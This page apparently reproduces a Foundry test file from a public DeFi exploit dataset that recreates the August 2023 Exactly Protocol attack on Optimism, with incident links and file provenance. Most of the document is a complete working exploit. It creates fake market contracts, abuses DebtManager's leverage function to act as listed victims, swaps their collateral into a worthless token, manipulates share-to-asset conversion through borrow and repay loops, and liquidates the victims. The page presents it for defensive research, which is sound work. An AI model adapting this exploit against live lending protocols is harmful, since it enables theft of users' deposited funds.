Public reproduction file
src/test/2023-08/Exactly_exp.sol
Public reproduction file for dataset entry ExactlyProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$7M USD$8// Attacker : https://optimistic.etherscan.io/address/0x3747dbbcb5c07786a4c59883e473a2e38f571af99// Attack Contract : https://optimistic.etherscan.io/address/0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d10// Vulnerable Contract : https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf4111// Attack Tx : https://optimistic.etherscan.io/tx/0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e13// @Info14// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41#code16// @Analysis17// Post-mortem : https://medium.com/@exactly_protocol/exactly-protocol-incident-post-mortem-b4293d97e3ed18// Twitter Guy : https://twitter.com/BlockSecTeam/status/169253328097193605920interface IexaUSDC is IERC4626 {21 function asset() external returns (address);22 function auditor() external view returns (address);23 function borrowAtMaturity(24 uint256 maturity,25 uint256 assets,26 uint256 maxAssets,27 address receiver,28 address borrower29 ) external returns (uint256 assetsOwed);30 function repayAtMaturity(31 uint256 maturity,32 uint256 positionAssets,33 uint256 maxAssets,34 address borrower35 ) external returns (uint256 actualRepayAssets);36 function liquidate(37 address borrower,38 uint256 maxAssets,39 address seizeMarket40 ) external returns (uint256 repaidAssets);41}43interface IAuditor {44 struct MarketData {45 uint128 adjustFactor;46 uint8 decimals;47 uint8 index;48 bool isListed;49 address priceFeed;50 }52 function accountLiquidity(53 address account,54 address marketToSimulate,55 uint256 withdrawAmount56 ) external view returns (uint256 sumCollateral, uint256 sumDebtPlusEffects);57 function markets(58 address market59 ) external view returns (MarketData memory);60 function assetPrice(61 address priceFeed62 ) external view returns (uint256);63}65interface IDebtManager {66 struct Permit {67 address account;68 uint256 deadline;69 uint8 v;70 bytes32 r;71 bytes32 s;72 }74 function leverage(75 address market,76 uint256 deposit,77 uint256 ratio,78 uint256 borrowAssets,79 Permit calldata marketPermit80 ) external;81 function crossDeleverage(82 address marketIn,83 address marketOut,84 uint24 fee,85 uint256 withdraw,86 uint256 ratio,87 uint160 sqrtPriceLimitX9688 ) external;89}91contract ContractTest is Test {92 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);93 IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);94 IexaUSDC exaUSDC = IexaUSDC(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);95 INonfungiblePositionManager UNIV3NFTManager =96 INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);97 IDebtManager DebtManager = IDebtManager(0x675d410dcf6f343219AAe8d1DDE0BFAB46f52106);98 IQuoter Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);99 IAuditor Auditor = IAuditor(0xaEb62e6F27BC103702E7BC879AE98bceA56f027E);100 address USDCPirceFeed = 0x16a9FA2FDa030272Ce99B29CF780dFA30361E0f3;101 FakeMarket fakeMarket;102 FakeMarket[] fakeMarketList;103 address[] victimList = [104 0xF35e261393F9705e10B378C6785582B2a5A71094,105 0x87bF260aef0Efd0AB046417ba290f69aE24C1642,106 0x3cf3c6a96357e26DE5c6F8Be745DC453AAD59249,107 0x551Cfb91aCd97572BA1C2B177EEB667c207CE759,108 0x2f0D2701b620B639e44E1824446a0d63D7a05C31,109 0x8789E0a45b270d7fd9aeD1a72682f6530a722c50,110 0xd1aDb83CD6390c6bBd619Fdd79fC37F9f58f1a4C,111 0x055a0495104AeA25551E7A58eBA88DC56709E871112 ];113 uint256[] maturityList = [114 1_693_440_000,115 1_693_440_000 + 4 weeks,116 1_693_440_000 + 8 weeks,117 1_693_440_000 + 12 weeks,118 1_693_440_000 + 16 weeks,119 1_693_440_000 + 20 weeks120 ];122 function setUp() public {123 vm.createSelectFork("optimism", 108_375_557);124 vm.label(address(WETH), "WETH");125 vm.label(address(USDC), "USDC");126 vm.label(address(exaUSDC), "exaUSDC");127 vm.label(address(UNIV3NFTManager), "UNIV3NFTManager");128 vm.label(address(DebtManager), "DebtManager");129 vm.label(address(Auditor), "Auditor");130 vm.label(address(USDCPirceFeed), "USDCPirceFeed");131 vm.label(address(exaUSDC), "exaUSDC");132 vm.label(address(Quoter), "Quoter");133 }135 // https://solidity-by-example.org/app/minimal-proxy/136 function Clone(137 address target138 ) public returns (address result) {139 bytes20 targetBytes = bytes20(target);140 assembly {141 let clone := mload(0x40)142 mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)143 mstore(add(clone, 0x14), targetBytes)144 mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)145 result := create(0, clone, 0x37)146 }147 }149 function testExploit() external {150 fakeMarket = new FakeMarket();151 for (uint256 i; i < 16; ++i) {152 address miniProxy = Clone(address(fakeMarket)); // create fake market153 fakeMarketList.push(FakeMarket(miniProxy));154 FakeMarket(miniProxy).init(155 address(UNIV3NFTManager),156 address(Auditor),157 address(DebtManager),158 address(exaUSDC),159 address(Quoter),160 address(USDC),161 address(USDCPirceFeed),162 1_000_000163 );164 }166 USDC.approve(address(exaUSDC), type(uint256).max);168 for (uint256 i; i < 8; ++i) {169 fakeMarketList[i].setVictim(victimList[i]);170 // @note https://github.com/exactly/protocol/blob/main/contracts/periphery/DebtManager.sol#L762-L792171 DebtManager.leverage(172 address(fakeMarketList[i]),173 0,174 0,175 0,176 IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})177 ); // set global variable _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage()178 }180 // swap victim's USDC to fakeToken in function fakeMarkt.deposit(), victim's collateral value is close to the value of the loan and is on the verge of liquidation182 // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L783-L785183 // victim CollateralAmount = convertToAssets(balanceOf[account]), attacker manipulating the ratio reduction in convertToAssets,184 // causing the victim's collateral value to be less than the value of the loan186 // *********************** convertToAssets Manipulation *********************** //187 emit log_named_decimal_uint(188 "befoe manipulation, 1 ether exaUSDC share convert to assets is : ",189 exaUSDC.convertToAssets(1 ether),190 USDC.decimals()191 );192 emit log_named_decimal_uint(193 "befoe manipulation, victim's exaUSDC share convert to assets is : ",194 exaUSDC.convertToAssets(exaUSDC.balanceOf(victimList[0])),195 USDC.decimals()196 );198 uint256 depositAmount = USDC.balanceOf(address(this)) * 9 / 10;199 uint256 share = exaUSDC.deposit(depositAmount, address(this)); // deposit USDC to exaUSDC contract201 for (uint256 i; i < 6; ++i) {202 (uint256 sumCollateral, uint256 sumDebtPlusEffects) =203 Auditor.accountLiquidity(address(victimList[0]), address(0), 0);204 // In the attack transaction, only the top victim is checked to see if they meet the liquidation conditions.205 // By removing this check, more users can be made eligible for liquidation.206 // if (sumCollateral >= sumDebtPlusEffects) {207 // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L917-L942208 // the backupEarnings decrease209 // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L930-L932210 exaUSDC.borrowAtMaturity(211 maturityList[i], depositAmount / 2, type(uint256).max, address(this), address(this)212 );213 exaUSDC.repayAtMaturity(maturityList[i], type(uint256).max, type(uint256).max, address(this));214 // } else {215 // break;216 // }217 }219 exaUSDC.redeem(share, address(this), address(this)); // withdraw all exaUSDC share221 emit log_named_decimal_uint(222 "after manipulation, 1 ether exaUSDC share convert to assets is : ",223 exaUSDC.convertToAssets(1 ether),224 USDC.decimals()225 );226 emit log_named_decimal_uint(227 "after manipulation, victim's exaUSDC share convert to assets is : ",228 exaUSDC.convertToAssets(exaUSDC.balanceOf(victimList[0])),229 USDC.decimals()230 );232 // *********************** liquidate *********************** //233 for (uint256 i; i < 8; ++i) {234 try exaUSDC.liquidate(victimList[i], type(uint256).max, address(exaUSDC)) {}235 catch {236 continue;237 } // liquidate victim's position238 fakeMarketList[i + 8].setVictim(victimList[i]);239 try DebtManager.leverage( // Manipulate the victim's position further after liquidation240 address(fakeMarketList[i + 8]),241 0,242 0,243 0,244 IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})245 ) {} catch {246 continue;247 } // set global _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage()248 }250 emit log_named_decimal_uint(251 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()252 );253 }254}256contract FakeMarket is Nonces {257 using FixedPointMathLib for int256;258 using FixedPointMathLib for uint256;259 using FixedPointMathLib for uint128;261 INonfungiblePositionManager UNIV3NFTManager =262 INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);263 IAuditor Auditor = IAuditor(0xaEb62e6F27BC103702E7BC879AE98bceA56f027E);264 IDebtManager DebtManager = IDebtManager(0x675d410dcf6f343219AAe8d1DDE0BFAB46f52106);265 IexaUSDC exaUSDC = IexaUSDC(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);266 IQuoter Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);267 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);268 address USDCPirceFeed = 0x16a9FA2FDa030272Ce99B29CF780dFA30361E0f3;269 address victim;270 uint256 baseUnit = 1_000_000;271 uint256 fakeTokenAmount;272 address public asset;273 address Owner;275 function init(address a, address b, address c, address d, address e, address f, address g, uint256 base) external {276 UNIV3NFTManager = INonfungiblePositionManager(a);277 Auditor = IAuditor(b);278 DebtManager = IDebtManager(c);279 exaUSDC = IexaUSDC(d);280 Quoter = IQuoter(e);281 USDC = IERC20(f);282 USDCPirceFeed = g;283 asset = address(this);284 baseUnit = base;285 balanceOf[address(this)] += 1_000_000_000_000 ether;286 Owner = msg.sender;287 if (address(this) < address(USDC)) {288 UNIV3NFTManager.createAndInitializePoolIfNecessary(289 address(this), address(USDC), 500, 79_228_162_514_264_337_593_543_950_336290 ); // create faketoken-USDC Uni-V3 pool291 } else {292 UNIV3NFTManager.createAndInitializePoolIfNecessary(293 address(USDC), address(this), 500, 79_228_162_514_264_337_593_543_950_336294 ); // create faketoken-USDC Uni-V3 pool295 }296 }298 function setVictim(299 address v300 ) external {301 // setV302 victim = v;303 }305 // ******************** Market ******************** //307 function deposit(uint256 assets, address receiver) external returns (uint256 shares) {308 // @note https://github.com/exactly/protocol/blob/main/contracts/Auditor.sol#L107-L148309 (uint256 sumCollateral, uint256 sumDebtPlusEffects) = Auditor.accountLiquidity(address(victim), address(0), 0);310 uint256 availableCollateralValue = sumCollateral - sumDebtPlusEffects; // availableCollateralValue = sumCollateral - sumDebtPlusEffects311 IAuditor.MarketData memory marketData = Auditor.markets(address(exaUSDC));312 uint128 Factor = marketData.adjustFactor;313 uint256 USDCPirce = Auditor.assetPrice(USDCPirceFeed);315 uint256 availableCollateralAmount = (availableCollateralValue.divWadUp(Factor)).mulDivUp(baseUnit, USDCPirce); // availableCollateralAmount = (availableCollateralValue / Factor) * baseUnit / USDCPirce316 availableCollateralAmount = availableCollateralAmount - 2; // availableCollateralAmount = availableCollateralAmount - 2318 if (319 exaUSDC.convertToAssets(exaUSDC.allowance(address(victim), address(DebtManager)))320 < availableCollateralAmount321 ) {322 // if(exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))) < availableCollateralAmount)323 availableCollateralAmount =324 exaUSDC.convertToAssets(exaUSDC.allowance(address(victim), address(DebtManager))); // availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.Allowance(address(this), DebtManager))325 }326 if (exaUSDC.convertToAssets(exaUSDC.balanceOf(address(victim))) < availableCollateralAmount) {327 // if(exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))) < availableCollateralAmount)328 availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))); // availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this)))329 }331 uint256 USDCAmountIn = availableCollateralAmount;333 IERC20(address(this)).approve(address(DebtManager), type(uint256).max);334 IERC20(address(this)).approve(address(UNIV3NFTManager), type(uint256).max);335 address Token0 = address(this);336 address Token1 = address(USDC);337 uint256 amount0 = 1_000_000 ether;338 uint256 amount1 = 0;339 int24 lower = 0;340 int24 upper = 10;341 uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;342 if (address(this) > address(USDC)) {343 Token0 = address(USDC);344 Token1 = address(this);345 amount0 = 0;346 amount1 = 1_000_000 ether;347 lower = -10;348 upper = 0;349 sqrtPriceLimitX96 = 4_295_128_740;350 }351 (uint256 tokenId, uint128 liquidity,,) = UNIV3NFTManager.mint(352 INonfungiblePositionManager.MintParams({ // add liquidity to faketoken-USDC Uni-V3 pool353 token0: Token0,354 token1: Token1,355 fee: 500,356 tickLower: lower,357 tickUpper: upper,358 amount0Desired: amount0,359 amount1Desired: amount1,360 amount0Min: 0,361 amount1Min: 0,362 recipient: address(this),363 deadline: block.timestamp364 })365 );367 fakeTokenAmount =368 Quoter.quoteExactInputSingle(address(USDC), address(this), 500, USDCAmountIn, sqrtPriceLimitX96);370 // @note now the _msgSender is victim, so attacker can manipulation the position of victim371 DebtManager.crossDeleverage(address(exaUSDC), address(this), 500, 0, 0, sqrtPriceLimitX96); // swap USDC to fakeToken in Uni-V3 pool373 UNIV3NFTManager.decreaseLiquidity(374 INonfungiblePositionManager.DecreaseLiquidityParams({ // remove liquidity from faketoken-USDC Uni-V3 pool375 tokenId: tokenId,376 liquidity: liquidity,377 amount0Min: 0,378 amount1Min: 0,379 deadline: block.timestamp380 })381 );383 UNIV3NFTManager.collect(384 INonfungiblePositionManager.CollectParams({ // collect fakeToken/USDC from faketoken-USDC Uni-V3 pool385 tokenId: tokenId,386 recipient: address(Owner),387 amount0Max: 340_282_366_920_938_463_463_374_607_431_768_211_455,388 amount1Max: 340_282_366_920_938_463_463_374_607_431_768_211_455389 })390 );391 }393 struct Account {394 uint256 fixedDeposits;395 uint256 fixedBorrows;396 uint256 floatingBorrowShares;397 }399 function previewRefund(400 uint256 shares401 ) public view returns (uint256) {402 return fakeTokenAmount;403 }405 function accounts(406 address owner407 ) external view returns (Account memory) {408 return Account(0, 0, 0);409 }411 function repay(uint256 assets, address borrower) external returns (uint256 actualRepay, uint256 borrowShares) {}413 // ******************** ERC4626 ******************** //415 function maxWithdraw(416 address owner417 ) external view returns (uint256) {418 return 0;419 }421 // ******************** ERC20Permit ******************** //422 uint256 public totalSupply;423 mapping(address => uint256) public balanceOf;424 mapping(address => mapping(address => uint256)) public allowance;425 string public name = "fake market";426 string public symbol = "fm";427 uint8 public decimals = 18;429 function transfer(address recipient, uint256 amount) external returns (bool) {430 balanceOf[msg.sender] -= amount;431 balanceOf[recipient] += amount;432 return true;433 }435 function approve(address spender, uint256 amount) external returns (bool) {436 allowance[msg.sender][spender] = amount;437 return true;438 }440 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {441 allowance[sender][msg.sender] -= amount;442 balanceOf[sender] -= amount;443 balanceOf[recipient] += amount;444 return true;445 }447 function mint(448 uint256 amount449 ) external {450 balanceOf[msg.sender] += amount;451 totalSupply += amount;452 }454 function burn(455 uint256 amount456 ) external {457 balanceOf[msg.sender] -= amount;458 totalSupply -= amount;459 }461 function permit(462 address owner,463 address spender,464 uint256 value,465 uint256 deadline,466 uint8 v,467 bytes32 r,468 bytes32 s469 ) public {470 _useNonce(owner);471 }473 function nonces(474 address owner475 ) public view virtual override(Nonces) returns (uint256) {476 return super.nonces(owner);477 }478}Analysis
Dataset entry
Public Foundry test for “ExactlyProtocol” (2023-08-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
- src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
- src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
- src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3747dbbcb5c07786a4c59883e473a2e38f571af9
- Attack Contract
0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d
- Vulnerable Contract
0x16748cb753a68329ca2117a7647aa590317ebf41
- Attack Tx
0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e
File record
- Name
- ExactlyProtocol
- Path
- src/test/2023-08/Exactly_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9eb5a4d13253aaa35fb0dbfe13b687964efe1b69
- Language
- Solidity
- Size
- 479 lines
- Date
- 2023-08-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/Exactly_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9eb5a4d13253aaa35fb0dbfe13b687964efe1b69, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.